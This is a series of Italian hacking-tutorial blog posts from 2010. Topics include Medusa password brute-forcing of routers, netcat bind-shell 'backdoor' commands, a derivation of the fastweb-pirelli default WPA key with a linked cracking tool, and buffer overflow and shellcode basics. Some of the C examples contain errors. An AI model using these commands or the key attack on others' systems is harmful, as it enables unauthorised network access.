domenica 12 dicembre 2010

Craccare password con Medusa

Medusa è uno dei migliori password-cracker, funziona  su moltissimi protocolli per farvi un esempio http,ftp,pop3,MAP, MS-SQL, SMB, SSH, RLOGIN e molti altri sono tutti perfettamente supportati.Il programma è incluso di default in backtrack 4 , se volete scaricarlo potere potete utilizzare questo indirizzo http://www.foofus.net/jmk/tools/medusa-1.4.tar.gz. E' un programma a linea di comando, la sintassi per l'utilizzo è la seguente:

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] -M module [OPT]

-h/-H Qui è possibile specificare un singolo host oppure un file contenente un elenco di hosts, il file è un comune file di testo che è possibile comporre con un semplice editor.
-u/-U Per specificare un username o un elenco di username in un file.
-p/-P Per specificare una password o un file dizionario di password.
-M Serve per definire il modulo da utilizzare (es. http)

Oltre a questo è possibile inserire nel comando anche altri parametri opzionali, i più utilizzati sono:

-e [n/s/ns] "n" serve per provare username senza password, "s" per provare password=username, "ns"entrambe le opzioni.
-s  Per abilitare il protocollo SSL.
-n [NUM] Per utilizzare una porta diversa da quella di default per il protocollo scelto.
-f  Per fermare lo scan alla primo username/password trovato.
-v Mostra a video cosa succede(verbose).
-g [NUM]  Aspetta N secondi prima di provare a connettersi.
-r [NUM]  Aspetta N secondi prima di ripetere un tentativo di login.

Vi sono altre opzioni il cui utilizzo non è molto frequente, se volete un elenco completo basta eseguire il seguente comando medusa -help.Ecco ad esempio come è possibile cercare di craccare il router a cui siete connessi , supponiamo che l' indirizzo di rete del router sia 192.168.0.1 il comando è:

medusa -h 192.168.0.1 -U userlist.txt -P passlist.txt -e ns -f -M http -v 4

Il file userlist.txt potrebbe essere un file con gli "admin" di default dei vari router , stesso discorso per il file passlist.txt, questi file si possono reperire già belli pronti in rete facendo una semplice ricerca.

sabato 11 dicembre 2010

Scoprire chi è collegato alla nostra rete wifi

Esistono vari modi per sapere se qualche persona non autorizzata sta utilizzando la nostra rete wifi, il più ovvio è accedere al pannello di amministrazione del router, di solito è possibile fare questa operazione anche dal browser, da qui è possibile vedere i client connessi autorizzati e non autorizzati, se poi vogliamo è possibile impostare anche dei filtri,ad esempio suI MAC delle schede wifi, per cercare di tenere al di fuori della rete gli utenti indesiderati.Un altro metodo molto comodo è l'utilizzo di questo piccolo software chiamato "zamzom wireless" che è possibile scaricare da questo indirizzo http://www.zamzom.net/, il software in questione lavora in windows,il file di installazione consiste in un pacchetto .msi ed è disponibile anche in lingua italiana.Il suo utilizzo non presenta nessun tipo di problema, non necessita di nessuna configurazione ed è dotato di  interfaccia essenziale ed intuitiva, nella finestra dell' applicazione è presente un piccolo report sulla nostra rete e sulla nostra connessione:
-Tuo Mac
-Tuo ip di rete interna.
-Tuo Nome computer
-Intervallo ip wireless

 Subito sotto sono presenti 3 tasti per effettuare la scansione dei client connessi, è possibile oltre a scansionare i client per MAC anche ottenere la scansione per "nome computer".Certo questo software non fa nulla di fantascientifico, ma può essere utile.

venerdì 10 dicembre 2010

Creare un dizionario di password personale con john the ripper

Abbiamo già visto le funzionalità di questo stupendo programma, oggi cercheremo di fare un passo in più ,utilizzeremo alcune funzioni avanzate del tool in modo da generare un file dizionario personalizzato. La cosa migliore per capire i concetti che esprimerò è fare un bell' esempio, diciamo che ci occorre un dizionario di password di lunghezza nota ,5 caratteri, e che tutte le password del dizionario siano composte solo dai numeri compresi fra 0 e 9 e le lettere a,b,c,d,e,f. La prima cosa da fare è aprire ,con il vostro editor di testo preferito, il file john.conf scorrerlo fino alla linea "# Incremental modes" e copiare qui il vostro incremental:custom_1.

[Incremental:custom_1]
File = $JOHN/alnum.chr
MinLen = 5
MaxLen = 5
CharCount = 36

Con queste 5 linee si comunica a john quanto segue:

File = $JOHN/alnum.chr Dice a john di utilizzare solo caratteri alfanumerici.
MinLen = 5 Dice a john che la minima lunghezza della parola è 5 caratteri
MaxLen = 5 Dice a john che la massima lunghezza della parola è 5 caratteri.
CharCount = 36 E' il conteggio dei caratteri disponibili nel file "alnum.chr".

Questo non è sufficiente per raggiungere il nostro obiettivo, in quanto nel file alnum.chr sono presenti anche altre lettere oltre che a,b,c,d,e,f, quindi bisognerà scrivere un bel filtro da utilizzare con il parametro -external.Per scrivere i filtri di john si deve utilizzare un sottoinsieme del linguaggio C, in particolare:

-Come cicli è ammesso solo il ciclo "while".
-Solo i tipi int e void sono ammessi.
-Non sono ammessi puntatori.
-Le strutture non sono supportate.
-Gli array possono avere una sola dimensione.

Come parametro di input al nostro filtro riceveremo da john l'array "word" a cui è possibile accedere , per filtrare le lettere che non ci interessano il filtro è questo:

[List.External:Filter_custom_1]
void filter()
{
int i, c;
i = 0;
while (c = word[i++])
if ((c < 'a' || c > 'f') && (c < '0' || c > '9')) {
word = 0; return;
}
}

Per chi conosce il C il suo funzionamento è ovvio, ogni parola che arriva da john è controllata carattere per carattere, se ci sono caratteri esterni agli insiemi 0-9 e a-f ,la parola viene scartata (mettendo word=0), se invece la parola è composta solo dai caratteri scelti questa viene accettata e la funzione ritorna.Per redere attivo il filtro copiatelo nel file john.conf subito sotto il codice di incremental:custom_1, fatto ciò salvate il file e chiudetelo.Quello che resta da fare adesso è lanciare john con la seguente sintassi:

./john -incremental:custom_1 -external:Filter_custom_1 -stdout > mydiz.txt

Il file mydiz.txt conterrà tutte le parole contenenti solo i caratteri scelti.

giovedì 9 dicembre 2010

Scrivere lo shellcode

Nella scrittura dello shellcode bisogna rispettare alcune regole e utilizzare vari espedienti, requisito essenziale è che lo shellcode deve essere autonomo e non contenere byte null poichè questo fatto farebbe terminare la stringa.Ovviamente per poter scrivere shellcode bisogna conoscere il linguaggio assembly, per il processore x86 vi sono due tipi di sintassi la AT&T e la sintassi intel, probabilmente quest'ultima è più leggibile.In linux i programmi assemblatori che adottano la sintassi AT&T sono chiamati "gas", mentre quelli che adottano la sintassi intel sono chiamati "nasm".Abbiamo già visto alcuni registri del microprocessore quali EIP,ESP,EBD essi per il linguaggio assembly possono essere considerati delle variabili, anche se in generale non è opportuno utilizzarli come variabili di uso generale .I registri EAX,EBX,ECX,EDX,ESI,EDI sono molto più adatti allo scopo. Si tratta di registri a 32 bit, tuttavia è possibile accedere ad essi anche a piccoli blocchi utilizzando una diversa notazione.In generale la sintassi tipica del linguaggio nasm è la seguente:

istruzione <destinazione>, <origine>

Ora vediamo qualche istruzione utile nella costruzione dello shellcode:

mov -Utilizzata per impostare i valori iniziali.
add -Aggiunge il valore.
sub -Sottrae il valore.
push -Inserire valori nello stack.
pop  -Recupera valori dallo stack.
jmp -Modifica EIP impostando un determinato indirizzo.
call -Richiama una funzione, inserendo un indirizzo in EIP e un indirizzo di ritorno nello stack.
lea -Aquisisce l' indirizzo di una porzione di memoria.
int -Richiama interrupt.

Oltre alle istruzioni in assembly i vari sistemi operativi mettono a disposizione del programmatore una serie di funzioni facilmente richiamabili dall' assembly, esse sono le "chiamate di sistema" e vengono innescate tramite interrupt, in linux nel file /usr/include/asm/unistd.h è presente una lista delle chiamate di sistema,queste funzioni comprendono funzioni sui files , funzioni sulle directory e funzioni sui processi.Utilizzando le istruzioni che ho elencato e le chiamate di sistema è possibile scrivere bytecode in grado di svolgere svariate funzioni, e ne prossimi articoli ne vedremo qualche esempio.Intanto se intendete approfondire l 'argomento "linguaggio assembly" ho da consigliarvi un ottimo corso che potete scaricare da questo indirizzo http://www.manuali.net/manuali/intro/programmazione/corso_assembly_x86_2.html

mercoledì 8 dicembre 2010

Configurare le schede wifi in backtrack

 
Per chi utilizza windows la gestione delle varie periferiche in linux può essere difficoltosa ,in windows tutto avviene attraverso interfacce grafiche, e quando ci si imbatte in lunghe sequenze di comandi su shell le cose sembrano diventare troppo complicate.Quelli di voi che hanno lavorato con il DOS probabilmente sanno di cosa sto parlando,in linux gran parte della configurazione dell'hardware va fatta manualmente, esistono anche interfacce grafiche che a volte possono essere utilizzate , ma è necessario conoscere i comandi base del sistema operativo per poter trarre da esso la massima efficienza.Cominciamo con prendere confidenza con alcuni comandi necessari per la configurazione delle schede di rete in particolare delle schede  wifi, il primo è :

ifconfig wlan0 up/down

Questo comando comando serve per abilitare (up) o disabilitare (down) la vostra interfaccia wifi, ovviamente al posto di "wlan0" inserire il nome della vostra interfaccia.Il comando successivo con cui familiarizzare è :

iwconfig

Dato senza parametri vi mostrerà lo stato delle vostre schede wifi, mentre la sintassi seguente:
 
iwconfig wlan0 <opzioni>

consente di configurare nei minimi particolari la vostra scheda wifi, le opzioni principali sono:

mode [managed,ad-hoc,monitor] Con questo parametro si sceglie il modo in cui la rete deve operare.
essid <rete> Consente di scegliere l' essid della rete a cui ci si vuole connettere
channel <N> Consente di scegliere il canale in cui la vostra scheda wifi lavorerà.
rate <nM> Consente di scegliere la velocità di trasmissione della scheda wifi(es.1M).
modulation <11g|11b|....> Consente di scegliere il tipo di modulazione.
key <chiave> Consente di configurare una chiave wep da utilizzare per la connessione.

Vi sono altri parametri configurabili, anche se il loro utilizzo non è molto frequente, per averne una lista completa basta digitare "iwconfig --help".Come esempio vediamo come predisporre la propria sheda wifi a connettersi ad una rete di nome "alice-xx", con chiave wep=prova che trasmette sul canale 1.

iwconfig wlan0 mode managed channel 1 essid alice-xx key s:prova

martedì 7 dicembre 2010

Alcuni utilizzi di Netcat

Netcat è una delle utility più conosciute in ambio di networking, senza dubbio il suo punto di forza consiste nella versatilità, diciamo che in linea di principio è un software che consente di scrivere o leggere dati attraverso connessioni tcp/ip e può essere considerato un utile strumento di debbuging e controllo. Sicuramente questo tool non consente alcune "finezze" proprie di software specializzati per svolgere un determinato compito ma conviene conoscere , almeno a grandi linee, i sui possibili utilizzi poichè in alcune occasioni potrebbe essere utille.In molte distribuzioni linux netcat è installato di default, per windows è possibile scaricarlo a questo indirizzo http://www.downloadnetcat.com/. Come primo esempio vediamo come è possibile creare un semplice server che rimane in ascolto su una determinata porta il comando da utilizzare è:

nc -l -p <porta>

-p è la porta utilizzata per la connessione. Bisogna fare molta attenzione ad utilizzare netcat in questo modo, visto che non è richiesta nessuna autorizzazione per il collegamento. Per connettersi al server in ascolto basta eseguire sul client:

nc <host> <porta>

Per  attivare un terminale remoto senza utilizzare telnet è possibile usare netcat con questa sintassi:

nc -l -p 4000 -e /bin/sh

Mentre come client è possibile utilizzare lo stesso netcat con questa sintassi:

nc <host> 4000

Netcat consente anche di verificare le porte aperte di un host, anche se questo tipo di scansione è rilevabile, il comando è il seguente:

nc -v -z <host> <porte>

Per quanto riguarda il parametro <porte> può essere un semplice elenco (es. 20 80 testa le porte indicate) o anche un intervallo (es 20-23 testa le porte dalla 20 alla 23).A volte può essere utile utilizzare netcat per trasferire file, niente di più semplice sul lato server basta eseguire:

cat file.txt| nc -l -p 4000

Dal lato client per avviare connessione e download, eseguire:

nc <host>  4000 > file.txt

I Possibili utilizzi di netcat non sono affatto finiti, vediamo come è possibile creare una backdoor in windows, eseguire:

nc -l -p <porta> -vv -e cmd.exe

Il comando cmd.exe , eseguito quando il server accetta la connessione del client, restituisce una shell di windows, per connettersi dal client eseguire:

nc <host> <porta> -w

Questa breve panoramica sui possibili utilizzi di netcat spiega i motivi per cui il tool è chiamato "il coltellino svizzero delle reti", se vi occupate di reti vedrete che le occasioni di utilizzarlo non mancheranno.

domenica 5 dicembre 2010

Sfruttare i punti vulnerabili del software - Stack overflow

Prendiamo in esame il programma in C dell' articolo precedente,nel momento in cui si richiama la funzione copia() lo stack ha piu o meno  l'aspetto della figura.Quando la funzione cerca di scrivere 100 byte di dati nel buffer da 20 byte, i dati invadono il segmento di memoria adiacente  sovrascrivendo  puntatore dello stack frame , indirizzo di ritorno e l 'argomento della funzione.Dopo l 'esecuzione della funzione il programma cerca di ritornare all' istruzione successiva, ma trova un indirizzo diverso da quello memorizzato nello stack in origine, in questo caso, visto che abbiamo usato la lettera T(esadecimale 0x54), EIP punterà al valore 0x54545454, esso è un indirizzo di memoria scelto a caso che può contenere istruzioni non valide o essere inesistente, questo è il motivo per cui il programma è andato in crash.Ora se al posto dell' indirizzo 0x54545454 usato per sovrascrivere EIP si fosse utilizzato qualche indirizzo corrispondente a un codice eseguibile, il programma non si sarebbe bloccato ma avrebbe eseguito l' istruzione modificando il flusso di esecuzione del programma. Visto che è possibile modificare un indirizzo di ritorno, per prendere il controllo completo del software manca solo il codice da eseguire, qui entra in gioco l'iniezione di un "bytecode".Il bytecode è un pezzo di codice autonomo che può essere messo all' interno di un buffer, esso è soggetto ad alcune restrizioni in particolare non deve contenere caratteri speciali poichè deve sembrare un buffer di dati,il bytecode più comune è lo "shellcode" che genera una shell. Facciamo un esempio in linux, se si riesce a manomettere un programma "suid root" con uno shellcode allora l' aggressore disporrà dei privilegi di root, mentre il sistema è convinto che il programma suid root stia ancora assolvendo ai sui compiti  previsti.
Supponiamo che  il codice seguente sia un  programma suid root:

int main(int argc, char* argv[]){
char buff[500];
strcpy(buff,argv[]);
return 0;
}

Il buffer dovrà contenere lo shellcode e sovrascrivere l'indirizzo di ritorno, questo presuppone che l'indirizzo dello shellcode sia noto a priori, cosa non facile visto che lo stack cambia, vi è poi un'ulteriore complicazione i quattro byte dell' indirizzo di ritorno devono essere sovrascritti con l indirizzo dello shellcode.Per fare tutto ciò può essere utilizzata una tecnica nota come "NOP",si tratta di un'istruzione di un singolo byte che non fa assolutamente nulla,creando un grande array di istruzioni NOP e inserendole prima dello shellcode, se il puntatore EIP torna a qualunque indirizzo presente nel NOP viene incrementato di una unità fino al raggiungimento dello shellcode.

sabato 4 dicembre 2010

Sfruttare i punti vulnerabili del software - Buffer overflow

Abbiamo accennato ad alcune caratteristiche del linguaggio C, esso prevede che il programmatore si faccia carico della correttezza e integrità dei dati, se questo controllo fosse demandato al compilatore gli eseguibili ottenuti sarebbero molto più voluminosi e lenti. Questa vicinanza del C al linguaggio macchina consente di aumentare il controllo sull' hardware e di conseguenza l'efficienza del software prodotto, il rovescio della medaglia è che ciò può tradursi in vulnerabilità ai buffer overflow e perdite di memoria.Ad esempio, se viene allocato spazio in memoria per delle variabili,non esiste un sistema automatico per assicurare che i contenuti trovino posto nello spazio previsto a contenerli. Questa è l essenza del "buffer overflow", è da notare che i dati in eccesso potrebbero sovrascrivere zone della memoria adiacenti, fatto che potrebbe essere sfruttato per eseguire codice arbitrario.Ma esaminiamo il fenomeno con più calma, prendete questo semplice programma in C:


void copia(char* prov){
char buff[20];
strcpy(buff,prov);
}

int main(){
char over[100];
for(k=0;k<100;k++){
over[i]='T';
}
copia(over);
exit(0);
}

In questo esempio , si cerca di copiare il contenuto di un buffer di 100 caratteri in uno che ne può contenere soltanto 20, quando lo si compila va tutto bene , ma quando lo si esegue otterrete un errore di "Segmantation fault", il che indica che mancando lo spazio necessario il buffer ha "straripato" dalla sua memoria allocata provocando il crash. Immaginate un programma che prevede un campo per l 'inserimento di user-name senza un controllo attento sui dati in ingresso, magari funziona bene per anni, poi un hacker potrebbe provare ad inserire una stringa di migliaia di caratteri in un campo destinato a ospitarne al massimo 30,e mandare il tutto in crash.L' obiettivo di un hacker di rado di limita a mandare in crash un programma, ma piuttosto a prendere il controllo di un sistema, nei prossimi articoli scopriremo come questo è possibile sfruttando il buffer overflow sullo stack.

venerdì 3 dicembre 2010

Software per craccare wifi fastweb-pirelli

E' gia da qualche tempo che  circolano degli algoritmi di generazione delle chiavi WPA di default di molti router, si potrebbe discutere sulla motivazione che ha spinto verso questo studio, personalmente non credo che sia soltanto la volontà di scroccare la connessione internet del vicino, ma penso che alla base ci sia una "voglia di sapere e di condividere le conoscenze".Se ci pensiamo bene questi algoritmi resi pubblici,hanno obbligato le case costruttrici di router a prendere provvedimenti, a modificare il firmware e considerare maggiormente il problema della sicurezza.Con questo non voglio dire che gli hacker siano dei moderni Robin Hood, però bisogna anche considerare il fatto che chi si occupa di sicurezza, e trova una falla nel sistema, deve rendere pubbliche le sue conoscenze, in questo modo è possibile porvi rimedio, quindi la pubblicazione di questi algoritmi contribuirà a rendere la vostra connessione più sicura e non il contrario. Come esempio ho deciso di illustrarvi l'algoritmo di generazione della chiave del router fastweb-pirelli, per generare la chiave si parte dall' SSID ne userò uno che circola in rete:

SSID = 00:1C:A2:BA:2C:E8

A questi sei valori in esadecimale, si concatena una stringa esadecimale di valore costante:

\x22\x33\x11\x34\x02\x81\xFA\x22\x11\x41\x68\x11\x12\x01\x05\x22\x71\x42\x10\x66

La stringa complessiva risulta essere:

\x00\x1C\xA2\xBA\x2C\xE8\x22\x33\x11\x34\x02\x81\xFA\x22\x11\x41\x68\x11\x12\x01\x05\x22\x71\x42\x10\x66

Ad essa deve essere applicata una  funzione di hash ,l' MD5, e si ottiene:

95ed90a01b4de2f2ced0ade17f68ac68

Per il calcolo della chiave sono necessari soltanto i primi quattro valori esadecimali ovvero:

95,ed,90,a0

Ogni valore è contenuto in un BYTE di memoria come mostrato:

       95            ed             90           a0
10010101 11101101 10010000 10100000


Adesso è necessario operare un trasformazione dei BYTE , in pratica si devono dividere in gruppi da 5 bit e considerare i primi cinque valori ottenuti:

10010 decimale 18
10111 decimale 23
10110 decimale 22
11001 decimale 25
00001 decimale 1


Ora ragionando in numeri decimali, se il valore di ciascuno è maggiore di 10, al valore in esame dovrà essere aggiunto il valore decimale 87, nel caso in esame i valori diventano:

decimale 18 > 10 -> decimale 105
decimale 23 > 10 -> decimale 110
decimale 22 > 10 -> decimale 109
decimale 25 > 10 -> decimale 112
decimale 1  < 10 -> decimale   1


Ultima operazione ,si trasformano i numeri ottenuti in esadecimale è otteniamo la chiave di default:

696e6d7001 (è da notare che il valore "1" deve essere scritto in esadecimale come "01").

Come vedete, fastweb-pirelli non si era preoccupata molto della sicurezza,ho implementato un programmino per windows che vi consentirà di testare il vostro router, basta mettere l' SSID e vi trova la password ,potete scaricarlo a questo indirizzo http://hotfile.com/dl/86878069/6482c82/fastwebcrack.exe.html, mi raccomando utilizzatelo SOLO per testare il vostro router,vi ricordo che entrare in reti altrui senza il consenso del legittimo proprietario è reato penale.

giovedì 2 dicembre 2010

Sfruttare i punti vulnerabili del software - La Memoria

Prima di procedere con degli esempi pratici sulla scrittura degli exploit, bisogna necessariamente avere un'idea di come funziona un computer, mi rendo conto che per afferrare a pieno alcuni concetti bisognerebbe conoscere almeno le basi della programmazione a basso livello,  ci sono degli ottimi tutorial in internet su questo argomento basta avere la buona volontà di leggerli.Ora parliamo della memoria, essa consiste essenzialmente di byte destinati all' immagazzinamento dei dati che sono associati a indirizzi numerici.A questa memoria si può accedere mediante questi indirizzi leggendo o scrivendo,lo schema di indirizzamento a 32 bit, quello utilizzato dai processori x86, consente 2^32(4.294.967.296) indirizzi possibili.Oltre alla memoria RAM,il processore ha una sua memoria propria, di dimensioni modeste, le porzioni di memoria del processore vengono chiamate "registri" i più importanti sono:
-EIP ,puntatore all' istruzione successiva a 32 bit.
-EBP ,puntatore alla base del record di attivazione.
-ESP ,puntatore alla parte superiore dello stack.
Quando si programma ad alto livello ,ad esempio con il C ,le variabili devono essere dichiarate con un "tipo", questi "tipi" possono essere numeri interi, caratteri o anche strutture definite dall' utente, a seconda del "tipo" in fase di esecuzione viene allocata la giusta porzione di memoria.Dei particolari tipi di variabili sono i "vettori" o "buffer",che sono degli elenchi di un particolare tipo di dati, generalmente l'indirizzo del primo elemento del buffer viene memorizzato in un puntatore.Una particolarità della gestione della memoria dei processori x86 è il sistema di ordinamento detto "little endian" in cui il byte meno significativo è il primo,in pratica i byte sono posti in memoria in ordine inverso, anche se i compilatori ad alto livello tengono conto automaticamente dell' ordinamento dei byte, lavorando in assembler questo è un particolare da tenere presente.A volte per un vettore(supponiamo uno di caratteri) vengono allocati N byte di memoria ma ne vengono effettivamente utilizzati meno,ci saranno ovviamente dei byte superflui,Lo zero è utilizzato come delimitatore per terminare la stringa ad esempio:
 
byte         0 1 2 3 4 5 6 7 8 9 10 11 12 ....
caratteri  c i a o 0 x x x x x   x   x  x ....


La parola ciao in un buffer di N byte, nel quinto byte è presente lo zero che indica la fine della stringa di caratteri.La memoria di un programma è divisa in cinque segmenti chiamati:

-text
-data
-bss
-heap
-stack


In text sono memorizzate tutte le istruzioni in linguaggio macchina, è da notare che le istruzioni non sempre si susseguono in modo lineare, in quanto eventuali istruzioni come jump o call trasferiscono nel registro EIP un diverso indirizzo di memoria. Durante l' esecuzione del programma , l'autorizzazione a scrivere su questo segmento di memoria è disabilitata e questo segmento di memoria ha dimensione fissa.In data e in bss sono memorizzate le variabili globali e statiche, questi segmenti di memoria pur essendo modificabili in fase di esecuzione,hanno anche loro dimensione fissa. In heap sono memorizzate le altre variabili del programma, la dimensione di heap può variare in fase di esecuzione, a seconda delle necessità l' heap si espande o si contrae , quando si espande lo fa verso indirizzi di memoria più alti. Lo stack è sostanzialmente un "blocco note" utilizzato per immagazzinare temporaneamente i dati durante l' esecuzione di funzioni, quando un programma chiama una funzione essa avrà un proprio insieme di variabili che le vengono trasferite, e il codice della funzione sarà collocato in una diversa posizione dal segmento text.Visto che il registro EIP deve cambiare quando si esegue la funzione, lo stack serve per ricordare le variabili trasferite e l' indirizzo a cui EIP deve ritornare alla fine della funzione.Lo stack funziona con uno schema "frist in - last out" nel senso che il primo dato immesso sarà l' ultimo ad essere estratto, quando si inserisce un dato nello stack si usa il termine push, quando lo si estrae si usa pop. Il registro del processore ESP, serve per contenere l' indirizzo dell' ultimo dato in questo segmento di memoria.Lo stack , come   l' heap ha dimensione variabile, ma a differenza di heap quando si espande lo fa verso indirizzi di memoria più bassi.

mercoledì 1 dicembre 2010

Proteggere la propria connessione wifi con fakeAP

Come abbiamo visto negli articoli precedenti, la protezione delle connessioni WiFi è un problema davvero arduo da affrontare,con tutta probabilità gli strumenti software progettati per penetrare in questo tipo di reti sono molto avanti agli strumenti software progettati per proteggerle, e anche i protocolli di protezione faticano a reggere il passo.Ad oggi il protocollo WPA2 sembra sicuro, ma non scommetterei un centesimo sulla sua inviolabilità fra cinque anni.A volte l' hardware in dotazione non consente neppure di utilizzare questo genere di protezione, e quindi si ricorre al vecchio e malandato WEP oppure si lascia la rete completamente aperta.Ma cosa possiamo fare per aumentare la sicurezza di una rete aperta o protetta con il WEP? Un buon tentativo potrebbe essere utilizzare fakeAP, anche se non tutti potranno utilizzarlo in quanto funziona solo con le wifi-card che hanno chipset PRISM(è disponibile un clone del programma che lavora con wifi-card atheros si chiama airraid ed è possibile scaricarlo a questo indirizzo http://www.pettingers.org/code/airraid.html).
FakeAP una volta in funzione creerà decine di migliaia di falsi access-point, in modo che la vostra rete reale potrà nascondersi e quindi avere minori possibilità di venire craccata,e quando dico decine di migliaia non sparo numeri a caso! Immaginatevi un hacker che vede sul suo monitor 50.000 reti, magari con nome identico e diversi MAC, sicuramente sarebbe disorientato!Bene analizziamo la sintassi del programma e le sue varie opzioni:

fakeap.pl --interface wlanx [--channel X][--mac xx.xx....][--essid nome][--word file.txt][--sleepN][--vendors file.txt][--wep N][--key KEY][--power N]

Come possiamo vedere l' unico paramento necessario è --interface a cui deve seguire il nome della vostra interfaccia wifi (PRISM), vediamo ora i parametri opzionali:

--channel X Senza questo parametro i canali dei falsi AP sono random , impostando il canale viene utilizzato questo.
--mac xx.xx.... Stesso discorso per i mac, se intendete usare solo un mac scrivetelo qui.
--essid Anche questo parametro è utilizzato per scegliere un nome unico per i falsi AP.
--wep Questa è una opzione un po' particolare, si deve scegliere un numero fra 0 e 1 che rappresenta la probabilità di generare un faslo AP protetto con chiave wep e un falso AP aperto.Per rendere l'idea, se mettiamo 0,5 ogni 10 falsi AP 5 saranno aperti e 5 protetti con wep.
--sleep Intervallo in secondi per il cambio del falso AP, di default è 0,25s.
--power Potenza di trasmissione in mw.
--key Con questa opzione è possibile scegliere la chiave wep da utilizzare nei falsi AP protetti.
--word Se decidiamo di utilizzare diversi nomi per i falsi AP, li possiamo mettere in un file di testo e usare questa opzione.
--vendors Per specificare una serie di produttori di wifi-cards, e quindi settare i prefissi dei mac(le prime 3 coppie di caratteri) utilizzati nei falsi AP.

Nella versione 0.3.1 del software sono presenti dei file precompilati che volendo è possibile utilizzare:

--word koaps-fo-wordlist.txt, stefan-wordlist.txt
--vendors stefan-maclist.txt

Bene, vediamo qualche esempio:

perl fakeap.pl --interface wlan0 --words lists/stefan-wordlist.txt --vendors lists/stefan-maclist.txt

Crea falsi AP utilizzando come nomi quelli contenuti nel file stefan-wordlist.txt, e come mac utilizza i prefissi dei vendors contenuti nel file stefan-maclist.txt, è da notare che i valori dei mac oltre il prefisso sono random.

Altro esempio:

perl fakeap.pl --interface wlan0 --channel 11 --essid TEST --wep 1 --key test1

Crea  un falso AP sul canale 11 con il nome di "TEST", la rete è protetta con chiave wep "test1".